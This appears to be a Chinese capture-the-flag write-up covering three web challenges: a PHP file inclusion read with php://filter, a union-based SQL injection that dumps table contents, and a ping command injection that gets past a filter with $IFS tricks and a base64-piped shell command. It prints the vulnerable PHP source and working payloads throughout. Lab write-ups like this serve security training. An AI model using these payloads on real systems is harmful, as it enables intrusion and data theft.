你想知道密码吗,我不想知道,所以我打开了f12
发现有个事件,而这个事件后面就紧接着一串英文"oh you found me",那就没问题了,直接打开它,发现我们被跳转到了另外一个页面Archive_room.php
这个界面有个按钮secret,点进去他说里面没有东西,叫我回去仔细再看一下,而这里我观看Archive_room.php这个页面的源码的时候明显是点击secret按钮后跳转到action.php页面去的,但是他却直接跳转到了end.php,这说明在action.php页面存在代码将我们自动跳转到end.php,而且是时间很短的那种
所以为了在action.php这个页面停留,我采取了使用burp抓包的方式,将页面停留在action.php
抓包访问action.php页面他提示我们secr3t.php
,那接下来就继续访问secr3t.php这个页面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C9tXLP88-1639245874151)(C:/Users/86185/AppData/Roaming/Typora/typora-user-images/image-20211212004237722.png)]
然后他说flag放在了flag.php里面,那继续访问flag.php
说明这是最后一个页面了,剩下的就是利用某种方法来找到藏在这个页面的flag
首先我们要知道一个知识,就是php文件中可以写前端代码比如说HTML,这种一般是显示出来的,也有些php后端代码,而这个php代码默认是不会显示的,除非你用某种函数,而他提示说flag就在这个页面说明,flag就藏在php代码里面
现在来审计secr3t.php的代码
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
这里存在一个文件包含include函数,而其中的参数file变量是我们认为可以控制的,这里禁用掉了切换目录的../
,tp字符
,input伪协议
,以及data伪协议
,然后我们又要知道flag.php的完整源代码,就想到了php://filter伪协议进行当前目录下任意文件读取
所以构造出的payload如下
~secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
进行base64解码然后发现了flag
flag放在那个地方?先寻找注入点把
很显然可以注入,还是加上#号后正常回显,然后尝试使用order by爆出列名
1'order by 4%23 //回显Unknown column '4' in 'order clause'
1‘order by 3 %23 //回显正常
说明当前查询的表为三列
接下来使用union select看是否有回显点
有回显点,直接进行联合注入就行了
因为最开始他说他把flag放在了那个地方,所以我觉得很有必要将所有数据库的名字都注入一遍,防止flag不在当前数据库的情况
当前数据库名:
-1'union select 1,2,database()%23 //查出当前数据库为'geek'
所有数据库名:
-1'union select 1,2,group_concat(schema_name) from information_schema.schemata %23 //查出information_schema,mysql,performance_schema,test,geek,很显然还是我多虑了
geek数据库中的所有表:
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23
//查出表为geekuser,l0ve1ysq1,以我的经验,flag必定在l0ve1ysq1里面
l0ve1ysq1表中所有字段:
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23 //结果为id,username,password,那应该不是在password里面就是在另外一张表里面了
password列中的所有值:
-1'union select 1,2,group_concat(password) from geek.l0ve1ysq1%23
//结果wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{95322f13-6777-421d-a631-6505096ba78c}
这不是有了吗
一听题目感觉就跟ping相关,或者是rce
果然如此,他给出了个提示/?ip=
,这很明显就是一个get传参,我们要上传一个ip的参数通过get的方式
然后构造payload
1;ls
返现网站根目录有flag.php,然后我访问它发现这个页面没有任何回显,那毫无疑问这个flag就藏在这个flag.php里面
1;cat flag.php
不能使用空格?然后我试着用%09(TAB键的URL编码)
fxck my symbol?
看来数字也不能使用了,一般绕过空格的方法又一下
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS、{cat,flag}等
其中$IFS不含数字,所以构造payload如下
1;cat$IFSflag
结果他又绕过了flag,然后我尝试了各种单引号,问号通配符都被过滤掉了,所以我就换一条思路,查看index.php的源码,看是否有什么
/?ip=
PING 1 (0.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
有了这串源码那就好办了,直接把正则匹配表达式放在网站上一解析
所以直接通过变量拼接的方式进行构造flag.php这一关键字,所以构造出的payload如下
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh